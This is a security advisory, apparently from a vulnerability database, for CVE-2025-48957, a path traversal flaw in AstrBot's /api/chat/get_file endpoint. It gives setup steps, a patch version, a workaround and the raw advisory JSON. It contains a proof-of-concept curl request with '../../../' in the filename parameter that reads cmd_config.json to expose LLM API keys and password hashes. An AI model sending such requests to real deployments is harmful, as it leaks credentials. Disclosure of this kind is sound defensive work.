GHSA-CQ37-G2QP-3C2P
Vulnerability from github – Published: 2025-06-04 23:54 – Updated: 2025-06-27 22:09Impact
This vulnerability may lead to:
- Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
- Install dependencies and clone the repository:
bash
pip install uv
git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
uv run main.py
- Alternatively, deploy the program via pip:
bash
mkdir astrbot && cd astrbot
uvx astrbot init
uvx astrbot run
- In another terminal, run the following command to exploit the vulnerability:
bash
curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).
Patches
The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.
Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.5.12"
},
"package": {
"ecosystem": "PyPI",
"name": "astrbot"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.4"
},
{
"fixed": "3.5.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48957"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-04T23:54:35Z",
"nvd_published_at": "2025-06-02T12:15:25Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThis vulnerability may lead to:\n\n* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.\n\n### Reproduce\n\nFollow these steps to set up a test environment for reproducing the vulnerability:\n\n1. Install dependencies and clone the repository:\n\n ```bash\n pip install uv\n git clone https://github.com/AstrBotDevs/AstrBot \u0026\u0026 cd AstrBot\n uv run main.py\n ```\n\n2. Alternatively, deploy the program via pip:\n\n ```bash\n mkdir astrbot \u0026\u0026 cd astrbot\n uvx astrbot init\n uvx astrbot run\n ```\n\n3. In another terminal, run the following command to exploit the vulnerability:\n\n ```bash\n curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json\n ```\n\nThis request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).\n\n### Patches\n\nThe vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions \u003e= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.\n\n### Workarounds\nUsers can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.\n\n### References\n\n* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)\n* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)",
"id": "GHSA-cq37-g2qp-3c2p",
"modified": "2025-06-27T22:09:44Z",
"published": "2025-06-04T23:54:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AstrBotDevs/AstrBot/security/advisories/GHSA-cq37-g2qp-3c2p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48957"
},
{
"type": "WEB",
"url": "https://github.com/AstrBotDevs/AstrBot/issues/1675"
},
{
"type": "WEB",
"url": "https://github.com/AstrBotDevs/AstrBot/pull/1676"
},
{
"type": "WEB",
"url": "https://github.com/AstrBotDevs/AstrBot/commit/cceadf222c46813c7f41115b40d371e7eb91e492"
},
{
"type": "PACKAGE",
"url": "https://github.com/AstrBotDevs/AstrBot"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-48957-detect-astrbot-dashboard-vulnerability?prevUrl=wizard"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-48957-mitigate-astrbot-dashboard-vulnerability?prevUrl=wizard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AstrBot Has Path Traversal Vulnerability in /api/chat/get_file"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.